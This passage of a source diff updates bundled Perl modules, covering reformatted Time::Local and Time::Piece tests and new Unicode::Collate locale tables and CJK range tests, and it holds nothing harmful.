@@ -151,18 +162,22 @@ for (@bad_time) {
# treated like 03:00:00 rather than 01:00:00 - negative zone offsets used
# to do the latter
{
- my $hour = (localtime(timelocal(0, 0, 2, 7, 3, 102)))[2];
+ my $hour = ( localtime( timelocal( 0, 0, 2, 7, 3, 102 ) ) )[2];
+
# testers in US/Pacific should get 3,
# other testers should get 2
- ok($hour == 2 || $hour == 3, 'hour should be 2 or 3');
+ ok( $hour == 2 || $hour == 3, 'hour should be 2 or 3' );
}
for my $p (@years) {
my ( $year, $is_leap_year ) = @$p;
my $string = $is_leap_year ? 'is' : 'is not';
- is( Time::Local::_is_leap_year($year), $is_leap_year,
- "$year $string a leap year" );
+ ## no critic (Subroutines::ProtectPrivateSubs)
+ is(
+ Time::Local::_is_leap_year($year), $is_leap_year,
+ "$year $string a leap year"
+ );
}
SKIP:
@@ -170,25 +185,29 @@ SKIP:
skip 'this platform does not support negative epochs.', 6
unless $neg_epoch_ok;
- eval { timegm(0,0,0,29,1,1900) };
- like($@, qr/Day '29' out of range 1\.\.28/,
- 'does not accept leap day in 1900');
+ eval { timegm( 0, 0, 0, 29, 1, 1900 ) };
+ like(
+ $@, qr/Day '29' out of range 1\.\.28/,
+ 'does not accept leap day in 1900'
+ );
- eval { timegm(0,0,0,29,1,200) };
- like($@, qr/Day '29' out of range 1\.\.28/,
- 'does not accept leap day in 2100 (year passed as 200)');
+ eval { timegm( 0, 0, 0, 29, 1, 200 ) };
+ like(
+ $@, qr/Day '29' out of range 1\.\.28/,
+ 'does not accept leap day in 2100 (year passed as 200)'
+ );
- eval { timegm(0,0,0,29,1,0) };
- is($@, '', 'no error with leap day of 2000 (year passed as 0)');
+ eval { timegm( 0, 0, 0, 29, 1, 0 ) };
+ is( $@, q{}, 'no error with leap day of 2000 (year passed as 0)' );
- eval { timegm(0,0,0,29,1,1904) };
- is($@, '', 'no error with leap day of 1904');
+ eval { timegm( 0, 0, 0, 29, 1, 1904 ) };
+ is( $@, q{}, 'no error with leap day of 1904' );
- eval { timegm(0,0,0,29,1,4) };
- is($@, '', 'no error with leap day of 2004 (year passed as 4)');
+ eval { timegm( 0, 0, 0, 29, 1, 4 ) };
+ is( $@, q{}, 'no error with leap day of 2004 (year passed as 4)' );
- eval { timegm(0,0,0,29,1,96) };
- is($@, '', 'no error with leap day of 1996 (year passed as 96)');
+ eval { timegm( 0, 0, 0, 29, 1, 96 ) };
+ is( $@, q{}, 'no error with leap day of 1996 (year passed as 96)' );
}
SKIP:
@@ -196,12 +215,18 @@ SKIP:
skip 'These tests require a system with 64-bit time_t.', 3
unless $epoch_is_64;
- is( timegm( 8, 14, 3, 19, 0, ( 1900 + 138 ) ), 2**31,
- 'can call timegm for 2**31 epoch seconds' );
- is( timegm( 16, 28, 6, 7, 1, ( 1900 + 206 ) ), 2**32,
- 'can call timegm for 2**32 epoch seconds (on a 64-bit system)' );
- is( timegm( 16, 36, 0, 20, 1, ( 34912 + 1900 ) ), 2**40,
- 'can call timegm for 2**40 epoch seconds (on a 64-bit system)' );
+ is(
+ timegm( 8, 14, 3, 19, 0, ( 1900 + 138 ) ), 2**31,
+ 'can call timegm for 2**31 epoch seconds'
+ );
+ is(
+ timegm( 16, 28, 6, 7, 1, ( 1900 + 206 ) ), 2**32,
+ 'can call timegm for 2**32 epoch seconds (on a 64-bit system)'
+ );
+ is(
+ timegm( 16, 36, 0, 20, 1, ( 34912 + 1900 ) ), 2**40,
+ 'can call timegm for 2**40 epoch seconds (on a 64-bit system)'
+ );
}
SKIP:
@@ -216,50 +241,67 @@ SKIP:
# 2001-10-28 02:30:00 - could be either summer or standard time,
# prefer earlier of the two, in this case summer
- my $time = timelocal(0, 30, 2, 28, 9, 101);
- is($time, 1004229000,
- 'timelocal prefers earlier epoch in the presence of a DST change');
+ my $time = timelocal( 0, 30, 2, 28, 9, 101 );
+ is(
+ $time, 1004229000,
+ 'timelocal prefers earlier epoch in the presence of a DST change'
+ );
local $ENV{TZ} = 'America/Chicago';
POSIX::tzset();
# Same local time in America/Chicago. There is a transition here
# as well.
- $time = timelocal(0, 30, 1, 28, 9, 101);
- is($time, 1004250600,
- 'timelocal prefers earlier epoch in the presence of a DST change');
+ $time = timelocal( 0, 30, 1, 28, 9, 101 );
+ is(
+ $time, 1004250600,
+ 'timelocal prefers earlier epoch in the presence of a DST change'
+ );
- $time = timelocal(0, 30, 2, 1, 3, 101);
- is($time, 986113800,
- 'timelocal for non-existent time gives you the time one hour later');
+ $time = timelocal( 0, 30, 2, 1, 3, 101 );
+ is(
+ $time, 986113800,
+ 'timelocal for non-existent time gives you the time one hour later'
+ );
local $ENV{TZ} = 'Australia/Sydney';
POSIX::tzset();
+
# 2001-03-25 02:30:00 in Australia/Sydney. This is the transition
# _to_ summer time. The southern hemisphere transitions are
# opposite those of the northern.
- $time = timelocal(0, 30, 2, 25, 2, 101);
- is($time, 985447800,
- 'timelocal prefers earlier epoch in the presence of a DST change');
+ $time = timelocal( 0, 30, 2, 25, 2, 101 );
+ is(
+ $time, 985447800,
+ 'timelocal prefers earlier epoch in the presence of a DST change'
+ );
- $time = timelocal(0, 30, 2, 28, 9, 101);
- is($time, 1004200200,
- 'timelocal for non-existent time gives you the time one hour later');
+ $time = timelocal( 0, 30, 2, 28, 9, 101 );
+ is(
+ $time, 1004200200,
+ 'timelocal for non-existent time gives you the time one hour later'
+ );
local $ENV{TZ} = 'Europe/London';
POSIX::tzset();
$time = timelocal( localtime(1111917720) );
- is($time, 1111917720,
- 'timelocal for round trip bug on date of DST change for Europe/London');
+ is(
+ $time, 1111917720,
+ 'timelocal for round trip bug on date of DST change for Europe/London'
+ );
# There is no 1:00 AM on this date, as it leaps forward to
# 2:00 on the DST change - this should return 2:00 per the
# docs.
- is( ( localtime( timelocal( 0, 0, 1, 27, 2, 2005 ) ) )[2], 2,
- 'hour is 2 when given 1:00 AM on Europe/London date change' );
+ is(
+ ( localtime( timelocal( 0, 0, 1, 27, 2, 2005 ) ) )[2], 2,
+ 'hour is 2 when given 1:00 AM on Europe/London date change'
+ );
- is( ( localtime( timelocal( 0, 0, 2, 27, 2, 2005 ) ) )[2], 2,
- 'hour is 2 when given 2:00 AM on Europe/London date change' );
+ is(
+ ( localtime( timelocal( 0, 0, 2, 27, 2, 2005 ) ) )[2], 2,
+ 'hour is 2 when given 2:00 AM on Europe/London date change'
+ );
}
done_testing();
diff --git a/gnu/usr.bin/perl/cpan/Time-Piece/t/02core_dst.t b/gnu/usr.bin/perl/cpan/Time-Piece/t/02core_dst.t
index 4e12fb66948..3f54fff233c 100644
--- a/gnu/usr.bin/perl/cpan/Time-Piece/t/02core_dst.t
+++ b/gnu/usr.bin/perl/cpan/Time-Piece/t/02core_dst.t
@@ -1,4 +1,4 @@
-use Test::More tests => 60;
+use Test::More tests => 56;
my $is_win32 = ($^O =~ /Win32/);
my $is_qnx = ($^O eq 'qnx');
@@ -25,9 +25,6 @@ is($t->mday, 9);
is($t->day_of_month, 9);
is($t->mon, 7);
is($t->_mon, 6);
-is($t->monname, 'Jul');
-is($t->month, 'Jul');
-is($t->fullmonth, 'July');
is($t->year, 2013);
is($t->_year, 113);
is($t->yy, '13');
@@ -35,9 +32,6 @@ is($t->yy, '13');
cmp_ok($t->wday, '==', 3);
cmp_ok($t->_wday, '==', 2);
cmp_ok($t->day_of_week, '==', 2);
-cmp_ok($t->wdayname, 'eq', 'Tue');
-cmp_ok($t->day, 'eq', 'Tue');
-cmp_ok($t->fullday, 'eq', 'Tuesday');
cmp_ok($t->yday, '==', 189);
cmp_ok($t->day_of_year, '==', 189);
@@ -125,7 +119,7 @@ cmp_ok($t->month_last_day, '==', 31); # test more
SKIP: {
- skip "Extra tests for Linux, BSD only.", 6 unless $is_linux or $is_mac or $is_bsd;
+ skip "Extra tests for Linux, BSD only.", 8 unless $is_linux or $is_mac or $is_bsd;
local $ENV{TZ} = "EST5EDT4";
Time::Piece::_tzset();
@@ -133,14 +127,13 @@ SKIP: {
cmp_ok(scalar($lt->tzoffset), 'eq', '-14400');
cmp_ok($lt->strftime("%Y-%m-%d %H:%M:%S %Z"), 'eq', '2013-07-09 08:07:11 EDT');
like ($lt->strftime("%z"), qr/-0400|EDT/); #windows: %Z and %z are the same
+ is ($lt->strftime("%s"), 1373371631, 'Epoch output is the same with EDT');
$lt = localtime(1357733231); #2013-01-09T12:07:11
cmp_ok(scalar($lt->tzoffset), 'eq', '-18000');
cmp_ok($lt->strftime("%Y-%m-%d %H:%M:%S %Z"), 'eq', '2013-01-09 07:07:11 EST');
like ($lt->strftime("%z"), qr/-0500|EST/);
+ is ($lt->strftime("%s"), 1357733231, 'Epoch output is the same with EST');
}
-
-
-
diff --git a/gnu/usr.bin/perl/cpan/Time-Piece/t/03compare.t b/gnu/usr.bin/perl/cpan/Time-Piece/t/03compare.t
index ccd85358298..ff3c706e292 100755
--- a/gnu/usr.bin/perl/cpan/Time-Piece/t/03compare.t
+++ b/gnu/usr.bin/perl/cpan/Time-Piece/t/03compare.t
@@ -1,5 +1,5 @@
-use Test;
-BEGIN { plan tests => 5 }
+use Test::More;
+BEGIN { plan tests => 11 }
use Time::Piece;
my @t = ('2002-01-01 00:00',
@@ -8,12 +8,18 @@ my @t = ('2002-01-01 00:00',
@t = map Time::Piece->strptime($_, '%Y-%m-%d %H:%M'), @t;
ok($t[0] < $t[1]);
+ok($t[0] < $t[1]->epoch);
ok($t[0] != $t[1]);
ok($t[0] == $t[0]);
+ok($t[0] == $t[0]->epoch);
ok($t[0] != $t[1]);
ok($t[0] <= $t[1]);
+ok($t[0] <= $t[1]->epoch);
+is($t[0] cmp $t[1], -1);
+is($t[1] cmp $t[0], 1);
+is($t[0] cmp $t[0], 0);
diff --git a/gnu/usr.bin/perl/cpan/Time-Piece/t/07arith.t b/gnu/usr.bin/perl/cpan/Time-Piece/t/07arith.t
index 7f16bd13ae6..58ca17b3bcd 100755
--- a/gnu/usr.bin/perl/cpan/Time-Piece/t/07arith.t
+++ b/gnu/usr.bin/perl/cpan/Time-Piece/t/07arith.t
@@ -1,6 +1,6 @@
-use Test::More tests => 25;
+use Test::More tests => 43;
-BEGIN { use_ok('Time::Piece'); }
+BEGIN { use_ok('Time::Piece'); use_ok('Time::Seconds'); }
ok(1);
@@ -45,3 +45,39 @@ my $t9 = $t->add_months(-13);
is($t9->year, 2008);
is($t9->mon, 12);
is($t9->mday, 1);
+
+eval { $t->add_months(); };
+like($@, qr/add_months requires a number of months/);
+
+# Tests for Time::Seconds start here
+my $s = $t - $t7;
+is($s->minutes, 44640);
+is($s->hours, 744);
+is($s->days, 31);
+is(int($s->weeks), 4);
+is(int($s->months), 1);
+is(int($s->years), 0);
+
+$s2 = $s->copy;
+is($s2->minutes, 44640, 'Copy Time::Seconds object');
+$s2 = $s->copy + 60;
+is($s2->minutes, 44641, 'Add integer to Time::Seconds object');
+$s2 += ONE_HOUR;
+is($s2->minutes, 44701, 'Add exported constant to Time::Seconds object');
+$s2 += $s2;
+is($s2->minutes, 89402, 'Add one Time::Seconds object to another');
+
+$s2 += 300 * ONE_DAY;
+is(int($s2->financial_months), 12);
+is(int($s2->months), 11);
+
+$s2 = Time::Seconds->new();
+is($s2->seconds, 0, 'Empty Time::Seconds constructor is 0s');
+my $s3 = Time::Seconds->new(10);
+$s2 = $s2 + $s3;
+is($s2->seconds, 10, 'Add 2 Time::Seconds objects');
+$s2 -= $s3;
+is($s2->seconds, 0, 'Subtract one Time::Seconds object from another');
+
+eval { $s2 = $s2 + $t; };
+like($@, qr/Can't use non Seconds object in operator overload/);
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/Collate/Locale/de_at_ph.pl b/gnu/usr.bin/perl/cpan/Unicode-Collate/Collate/Locale/de_at_ph.pl
new file mode 100644
index 00000000000..7efe805badf
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/Collate/Locale/de_at_ph.pl
@@ -0,0 +1,31 @@
++{
+ locale_version => 1.25,
+ entry => <<'ENTRY', # for DUCET v9.0.0
+00E4 ; [.1C48.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
+0061 0308 ; [.1C48.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
+00C4 ; [.1C48.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
+0041 0308 ; [.1C48.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
+01DF ; [.1C48.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON
+01DE ; [.1C48.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON
+00F6 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+006F 0308 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+00D6 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+004F 0308 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+022B ; [.1DDE.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
+022A ; [.1DDE.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
+00FC ; [.1EB6.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+0075 0308 ; [.1EB6.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+00DC ; [.1EB6.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+0055 0308 ; [.1EB6.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+01DC ; [.1EB6.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+01DB ; [.1EB6.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+01D8 ; [.1EB6.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+01D7 ; [.1EB6.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+01D6 ; [.1EB6.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
+01D5 ; [.1EB6.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
+01DA ; [.1EB6.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
+01D9 ; [.1EB6.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
+00DF ; [.1E71.0020.0002][.1E72.0020.0002] # LATIN SMALL LETTER SHARP S
+1E9E ; [.1E71.0020.0008][.1E72.0020.0008] # LATIN CAPITAL LETTER SHARP S
+ENTRY
+};
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/Collate/Locale/dsb.pl b/gnu/usr.bin/perl/cpan/Unicode-Collate/Collate/Locale/dsb.pl
new file mode 100644
index 00000000000..3fbe87500bf
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/Collate/Locale/dsb.pl
@@ -0,0 +1,59 @@
++{
+ locale_version => 1.25,
+ entry => <<'ENTRY', # for DUCET v9.0.0
+010D ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CARON
+0063 030C ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CARON
+010C ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CARON
+0043 030C ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CARON
+0107 ; [.1C7C.0020.0002] # LATIN SMALL LETTER C WITH ACUTE
+0063 0301 ; [.1C7C.0020.0002] # LATIN SMALL LETTER C WITH ACUTE
+0063 0341 ; [.1C7C.0020.0002] # LATIN SMALL LETTER C WITH ACUTE
+0106 ; [.1C7C.0020.0008] # LATIN CAPITAL LETTER C WITH ACUTE
+0043 0301 ; [.1C7C.0020.0008] # LATIN CAPITAL LETTER C WITH ACUTE
+0043 0341 ; [.1C7C.0020.0008] # LATIN CAPITAL LETTER C WITH ACUTE
+011B ; [.1CAB.0020.0002] # LATIN SMALL LETTER E WITH CARON
+0065 030C ; [.1CAB.0020.0002] # LATIN SMALL LETTER E WITH CARON
+011A ; [.1CAB.0020.0008] # LATIN CAPITAL LETTER E WITH CARON
+0045 030C ; [.1CAB.0020.0008] # LATIN CAPITAL LETTER E WITH CARON
+0063 0068 ; [.1D19.0020.0002] # <LATIN SMALL LETTER C, LATIN SMALL LETTER H>
+0063 0048 ; [.1D19.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER C, LATIN CAPITAL LETTER H>
+0043 0068 ; [.1D19.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER C, LATIN SMALL LETTER H>
+0043 0048 ; [.1D19.0020.0008] # <LATIN CAPITAL LETTER C, LATIN CAPITAL LETTER H>
+0142 ; [.1D76.0020.0002] # LATIN SMALL LETTER L WITH STROKE
+006C 0335 ; [.1D76.0020.0002] # LATIN SMALL LETTER L WITH STROKE
+0141 ; [.1D76.0020.0008] # LATIN CAPITAL LETTER L WITH STROKE
+004C 0335 ; [.1D76.0020.0008] # LATIN CAPITAL LETTER L WITH STROKE
+0144 ; [.1DBA.0020.0002] # LATIN SMALL LETTER N WITH ACUTE
+006E 0301 ; [.1DBA.0020.0002] # LATIN SMALL LETTER N WITH ACUTE
+006E 0341 ; [.1DBA.0020.0002] # LATIN SMALL LETTER N WITH ACUTE
+0143 ; [.1DBA.0020.0008] # LATIN CAPITAL LETTER N WITH ACUTE
+004E 0301 ; [.1DBA.0020.0008] # LATIN CAPITAL LETTER N WITH ACUTE
+004E 0341 ; [.1DBA.0020.0008] # LATIN CAPITAL LETTER N WITH ACUTE
+0155 ; [.1E34.0020.0002] # LATIN SMALL LETTER R WITH ACUTE
+0072 0301 ; [.1E34.0020.0002] # LATIN SMALL LETTER R WITH ACUTE
+0072 0341 ; [.1E34.0020.0002] # LATIN SMALL LETTER R WITH ACUTE
+0154 ; [.1E34.0020.0008] # LATIN CAPITAL LETTER R WITH ACUTE
+0052 0301 ; [.1E34.0020.0008] # LATIN CAPITAL LETTER R WITH ACUTE
+0052 0341 ; [.1E34.0020.0008] # LATIN CAPITAL LETTER R WITH ACUTE
+0161 ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON
+0073 030C ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON
+0160 ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
+0053 030C ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
+015B ; [.1E73.0020.0002] # LATIN SMALL LETTER S WITH ACUTE
+0073 0301 ; [.1E73.0020.0002] # LATIN SMALL LETTER S WITH ACUTE
+0073 0341 ; [.1E73.0020.0002] # LATIN SMALL LETTER S WITH ACUTE
+015A ; [.1E73.0020.0008] # LATIN CAPITAL LETTER S WITH ACUTE
+0053 0301 ; [.1E73.0020.0008] # LATIN CAPITAL LETTER S WITH ACUTE
+0053 0341 ; [.1E73.0020.0008] # LATIN CAPITAL LETTER S WITH ACUTE
+017E ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH CARON
+007A 030C ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH CARON
+017D ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
+005A 030C ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
+017A ; [.1F23.0020.0002] # LATIN SMALL LETTER Z WITH ACUTE
+007A 0301 ; [.1F23.0020.0002] # LATIN SMALL LETTER Z WITH ACUTE
+007A 0341 ; [.1F23.0020.0002] # LATIN SMALL LETTER Z WITH ACUTE
+0179 ; [.1F23.0020.0008] # LATIN CAPITAL LETTER Z WITH ACUTE
+005A 0301 ; [.1F23.0020.0008] # LATIN CAPITAL LETTER Z WITH ACUTE
+005A 0341 ; [.1F23.0020.0008] # LATIN CAPITAL LETTER Z WITH ACUTE
+ENTRY
+};
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/Collate/Locale/fr_ca.pl b/gnu/usr.bin/perl/cpan/Unicode-Collate/Collate/Locale/fr_ca.pl
new file mode 100644
index 00000000000..ea81cac4b6f
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/Collate/Locale/fr_ca.pl
@@ -0,0 +1,4 @@
++{
+ locale_version => 1.25,
+ backwards => 2,
+};
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/Collate/Locale/he.pl b/gnu/usr.bin/perl/cpan/Unicode-Collate/Collate/Locale/he.pl
new file mode 100644
index 00000000000..f73c8d560cf
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/Collate/Locale/he.pl
@@ -0,0 +1,7 @@
++{
+ locale_version => 1.25,
+ entry => <<'ENTRY', # for DUCET v9.0.0
+05F3 ; [*0305.001F.0002] # HEBREW PUNCTUATION GERESH
+05F4 ; [*030C.001F.0002] # HEBREW PUNCTUATION GERSHAYIM
+ENTRY
+};
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/Collate/Locale/lkt.pl b/gnu/usr.bin/perl/cpan/Unicode-Collate/Collate/Locale/lkt.pl
new file mode 100644
index 00000000000..dbd577acad0
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/Collate/Locale/lkt.pl
@@ -0,0 +1,25 @@
++{
+ locale_version => 1.25,
+ entry => <<'ENTRY', # for DUCET v9.0.0
+010D ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CARON
+0063 030C ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CARON
+010C ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CARON
+0043 030C ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CARON
+01E7 ; [.1CF5.0020.0002] # LATIN SMALL LETTER G WITH CARON
+0067 030C ; [.1CF5.0020.0002] # LATIN SMALL LETTER G WITH CARON
+01E6 ; [.1CF5.0020.0008] # LATIN CAPITAL LETTER G WITH CARON
+0047 030C ; [.1CF5.0020.0008] # LATIN CAPITAL LETTER G WITH CARON
+021F ; [.1D19.0020.0002] # LATIN SMALL LETTER H WITH CARON
+0068 030C ; [.1D19.0020.0002] # LATIN SMALL LETTER H WITH CARON
+021E ; [.1D19.0020.0008] # LATIN CAPITAL LETTER H WITH CARON
+0048 030C ; [.1D19.0020.0008] # LATIN CAPITAL LETTER H WITH CARON
+0161 ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON
+0073 030C ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON
+0160 ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
+0053 030C ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
+017E ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH CARON
+007A 030C ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH CARON
+017D ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
+005A 030C ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
+ENTRY
+};
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/Collate/Locale/ug_cyrl.pl b/gnu/usr.bin/perl/cpan/Unicode-Collate/Collate/Locale/ug_cyrl.pl
new file mode 100644
index 00000000000..af42f2dbf3a
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/Collate/Locale/ug_cyrl.pl
@@ -0,0 +1,7 @@
++{
+ locale_version => 1.25,
+ entry => <<'ENTRY', # for DUCET v9.0.0
+04D9 ; [.205B.0020.0002] # CYRILLIC SMALL LETTER SCHWA
+04D8 ; [.205B.0020.0008] # CYRILLIC CAPITAL LETTER SCHWA
+ENTRY
+};
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/Collate/Locale/vo.pl b/gnu/usr.bin/perl/cpan/Unicode-Collate/Collate/Locale/vo.pl
new file mode 100644
index 00000000000..8b7c4c90048
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/Collate/Locale/vo.pl
@@ -0,0 +1,29 @@
++{
+ locale_version => 1.25,
+ entry => <<'ENTRY', # for DUCET v9.0.0
+00E4 ; [.1C48.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
+0061 0308 ; [.1C48.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
+00C4 ; [.1C48.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
+0041 0308 ; [.1C48.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
+01DF ; [.1C48.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON
+01DE ; [.1C48.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON
+00F6 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+006F 0308 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+00D6 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+004F 0308 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+022B ; [.1DDE.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
+022A ; [.1DDE.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
+00FC ; [.1EB6.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+0075 0308 ; [.1EB6.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+00DC ; [.1EB6.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+0055 0308 ; [.1EB6.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+01DC ; [.1EB6.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+01DB ; [.1EB6.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+01D8 ; [.1EB6.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+01D7 ; [.1EB6.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+01D6 ; [.1EB6.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
+01D5 ; [.1EB6.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
+01DA ; [.1EB6.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
+01D9 ; [.1EB6.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
+ENTRY
+};
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/cjkrange.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/cjkrange.t
index 8e851dca7b0..4ed8710a9d0 100755
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/cjkrange.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/cjkrange.t
@@ -16,7 +16,7 @@ BEGIN {
use strict;
use warnings;
-BEGIN { $| = 1; print "1..463\n"; } # 1 + 42 x @Versions
+BEGIN { $| = 1; print "1..901\n"; } # 1 + 60 x @Versions
my $count = 0;
sub ok ($;$) {
my $p = my $r = shift;
@@ -46,13 +46,17 @@ my $coll = Unicode::Collate->new(
# 9FBC..9FC3 are CJK UI since UCA_Version 18 (Unicode 5.1).
# 9FC4..9FCB are CJK UI since UCA_Version 20 (Unicode 5.2).
# 9FCC is CJK UI since UCA_Version 24 (Unicode 6.1).
+# 9FCD..9FD5 are CJK UI since UCA_Version 32 (Unicode 8.0).
+# 9FD6..9FEA are CJK UI since UCA_Version 36 (Unicode 10.0).
# 3400..4DB5 are CJK UI Ext.A since UCA_Version 8 (Unicode 3.0).
# 20000..2A6D6 are CJK UI Ext.B since UCA_Version 8 (Unicode 3.1).
# 2A700..2B734 are CJK UI Ext.C since UCA_Version 20 (Unicode 5.2).
# 2B740..2B81D are CJK UI Ext.D since UCA_Version 22 (Unicode 6.0).
+# 2B820..2CEA1 are CJK UI Ext.E since UCA_Version 32 (Unicode 8.0).
+# 2CEB0..2EBE0 are CJK UI Ext.F since UCA_Version 36 (Unicode 10.0).
-my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28);
+my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36);
for my $v (@Versions) {
$coll->change(UCA_Version => $v);
@@ -67,7 +71,11 @@ for my $v (@Versions) {
ok($coll->cmp("\x{3400}", "\x{9FC4}") == ($v >= 20 ? 1 : -1)); # new
ok($coll->cmp("\x{3400}", "\x{9FCB}") == ($v >= 20 ? 1 : -1)); # new
ok($coll->cmp("\x{3400}", "\x{9FCC}") == ($v >= 24 ? 1 : -1)); # new
- ok($coll->cmp("\x{3400}", "\x{9FCD}") == -1); # na
+ ok($coll->cmp("\x{3400}", "\x{9FCD}") == ($v >= 32 ? 1 : -1)); # new
+ ok($coll->cmp("\x{3400}", "\x{9FD5}") == ($v >= 32 ? 1 : -1)); # new
+ ok($coll->cmp("\x{3400}", "\x{9FD6}") == ($v >= 36 ? 1 : -1)); # new
+ ok($coll->cmp("\x{3400}", "\x{9FEA}") == ($v >= 36 ? 1 : -1)); # new
+ ok($coll->cmp("\x{3400}", "\x{9FEB}") == -1); # na
ok($coll->cmp("\x{3400}", "\x{9FFF}") == -1); # na
# UI < UI
